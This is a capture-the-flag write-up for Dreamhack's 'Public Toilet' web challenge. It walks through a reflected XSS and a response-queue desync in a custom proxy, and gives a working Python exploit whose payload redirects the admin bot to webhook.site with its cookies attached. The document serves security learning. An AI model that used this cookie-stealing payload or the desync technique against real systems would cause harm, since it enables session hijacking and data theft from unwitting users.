Public Toilet
Level 8 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/2075
I decided to challenge myself by taking on a challenge with 3 solves (4 now because I solved it)
An admin bot runs on the server. Interestingly, it visits localhost:80, instead of localhost:3000. The server is running on port 3000. The VM also port forwards us to port 80, which means some proxying might be going on in the backend.
We’re actually accessing port 80, not 3000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
async function visitAsAdmin(targetUrl) {
if (isAdminRunning) return;
isAdminRunning = true;
startAdminWatchdog();
console.log('[+] Admin bot start');
let driver;
try {
const options = new chrome.Options()
.addArguments('--headless=new', '--no-sandbox',
'--disable-dev-shm-usage',
`--user-data-dir=/tmp/profile-${Date.now()}`);
driver = await new Builder()
.forBrowser('chrome')
.setChromeOptions(options)
.build();
await driver.get('http://localhost:80/');
await driver.manage().addCookie({
name: 'flag',
value: 'FLAG',
path: '/'
});
await driver.sleep(3000);
await driver.get(targetUrl);
await driver.sleep(3000);
} catch (err) {
console.error('[!] Admin bot error:', err.message || err);
} finally {
try {
if (driver) await driver.quit();
} catch (e) {
console.error('[!] driver.quit() fail:', e.message);
}
if (adminWatchdog) {
clearTimeout(adminWatchdog);
adminWatchdog = null;
}
isAdminRunning = false;
console.log('[+] Admin bot terminated, isAdminRunning =', isAdminRunning);
}
}
// ...
else if (pathname === '/submit') {
if (isAdminRunning) {
res.writeHead(429);
return res.end('Admin bot is already running. Try again later.');
}
const userPath = query.url;
if (typeof userPath !== 'string' || !userPath.startsWith('/')) {
res.writeHead(400);
return res.end('Invalid or missing url parameter');
}
const targetUrl = `http://localhost:80${userPath}`;
visitAsAdmin(targetUrl);
res.writeHead(200, { 'Content-Type': 'text/plain' });
return res.end('Admin will visit page.');
}
We notice that XSS is possible here. Manually writing a get request like GET /toilet.html?" HTTP/1.1 allows us to smuggle a double quote into the HTML.
This is not achievable through a browser, as adding a " into the URL causes it to get escaped. Hence, getting XSS on the admin bot is not so trivial yet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function renderTemplate(html, data) {
return html.replace(//g, data);
}
// ...
const parsed = url.parse(req.url, true);
const pathname = parsed.pathname;
const query = parsed.query;
const img = parsed.query['url'];
const ref = getRawQueryString(req.url);
const testInput = parsed.query.test || '';
console.log('req.url:', req.url);
if (pathname === '/toilet.html') {
const filePath = path.join(__dirname, 'views', 'toilet.html');
fs.readFile(filePath, 'utf8', (err, html) => {
if (err) return res.writeHead(500).end('Error loading toilet.html');
const selectedImage = imageList[Math.floor(Math.random() * imageList.length)];
const rendered = renderTemplate(html, ref);
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(rendered);
});
}
toilet.html:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div class="text-center">
<h2 class="my-4">Toilet Post</h2>
<img src="/resources/beauty.png" alt="post" style="max-width: 100%; height: auto; border: 1px solid #ccc; border-radius: 10px;">
</div>
<script>
let url = "";
if ("kimboan" == ""){
alert("Welcome Kimboan Park!!");
}
</script>
Going through the modules under node_modules, I realized that one of the modules is actually an imposter! It’s actually a proxy server that runs on port 80.
Going through the code on the proxy server, we can see that a queue system is being implemented to return data to clients.
Requesting /index.html makes it a static request, so we can’t play around with and try to exploit the queue system.
However, requesting /index.html?a makes it a dynamic request (ext becomes .html?a).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
function handleRequest(limboan, ahnboan) {
const firstLine = ahnboan.toString().split('\r\n')[0];
const urlPath = firstLine.split(' ')[1] || '';
const ext = path.extname(urlPath).toLowerCase();
const isStatic = STATIC_EXTENSIONS.includes(ext);
if (isStatic) {
const conn = net.connect(PARKBOAN_PORT, PARKBOAN_HOST, () => {
conn.write(ahnboan);
});
conn.on('data', chunk => limboan.write(chunk));
conn.on('end', () => limboan.end());
conn.on('error', () => limboan.end());
} else {
const backend = getBackendSocket();
if (backend && !backend.destroyed) {
backend.write(ahnboan);
waitingClients.push(limboan);
} else {
const timeout = setTimeout(() => {
if (!limboan.destroyed) limboan.end(ERROR_HTML);
}, 5000);
waitingWhenBackendDown.push({ ahnboan, limboan });
limboan.on('close', () => clearTimeout(timeout));
limboan.on('end', () => clearTimeout(timeout));
limboan.on('error', () => clearTimeout(timeout));
}
}
}
function connectBackend(onReady) {
backendSocket = net.connect(PARKBOAN_PORT, PARKBOAN_HOST, () => {
console.log('parkboan opened');
daeboan.forEach(({ ahnboan, limboan }) => {
if (!limboan.destroyed) {
backendSocket.write(ahnboan);
waitingClients.push(limboan);
}
});
daeboan.length = 0;
if (onReady) onReady();
});
backendSocket.setKeepAlive(true);
backendSocket.on('data', (chunk) => {
const client = waitingClients.shift();
if (client && !client.destroyed) {
client.write(chunk);
}
});
backendSocket.on('end', reconnect);
backendSocket.on('error', reconnect);
backendSocket.on('close', () => console.log('parkboan terminated'));
}
My first thought here was that if I could make the admin bot make a request that takes a long time, and then send my modified request that returns XSS, the admin bot would get the contents of my response with XSS.
In theory this would work, however the server running on port 3000 is synchronous, so I scrapped this idea.
While playing around with the HTTP request that I was sending using Python sockets, I realized that if I didn’t terminate the request with \r\n\r\n, then it would block and wait indefinitely, until I made a second separate request.
This means that:
- Thread 1 sends a request that doesn’t end with
\r\n\r\n - Thread 2 sends a normal request. Thread 1’s request ends.
- Thread 2 is now waiting.
- Thread 3 sends a request. Thread 2 gets the contents of thread 3’s response.
If I’m thread 1 and 3, and the admin bot is thread 2, then I can cause the admin bot to get my XSS response!
Here’s the exploit code (blocker.py):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import socket
def send_exploit(host, port):
# Build the HTTP request
target_path = '/toilet.html?a'
request = f"""GET {target_path} HTTP/1.1
Host: localhost
Connection: close
"""
# Convert to bytes and fix line endings
request_bytes = request.replace('\n', '\r\n').encode()
# Send the request
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request_bytes)
# Receive response
response = s.recv(4096)
print(response.decode())
s.close()
input("admin bot made the request!")
# Build the HTTP request
target_path = '/toilet.html?";location=`https://webhook.site/(webhook)?${document.cookie}`</script>'
request = f"""GET {target_path} HTTP/1.1
Host: localhost
Connection: close
"""
# Convert to bytes and fix line endings
request_bytes = request.replace('\n', '\r\n').encode()
# Send the request
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request_bytes)
# Receive response
response = s.recv(4096)
print(response.decode())
s.close()
if __name__ == "__main__":
HOST = "host3.dreamhack.games"
PORT = 8672
send_exploit(HOST, PORT)
Since the admin bot waits 3 seconds before visiting the URL we give it, we have some buffer time between the time we report and the time we start the blocker.
The exploit steps are:
- Report an arbitrary “dynamic” URL (like /index.html?a)
- Wait 2 seconds and start
blocker.py - Wait for blocker.py’s first request to complete (the admin bot is now waiting for data)
- Send the second request using blocker.py (the admin bot receives the data from this response)
- Profit

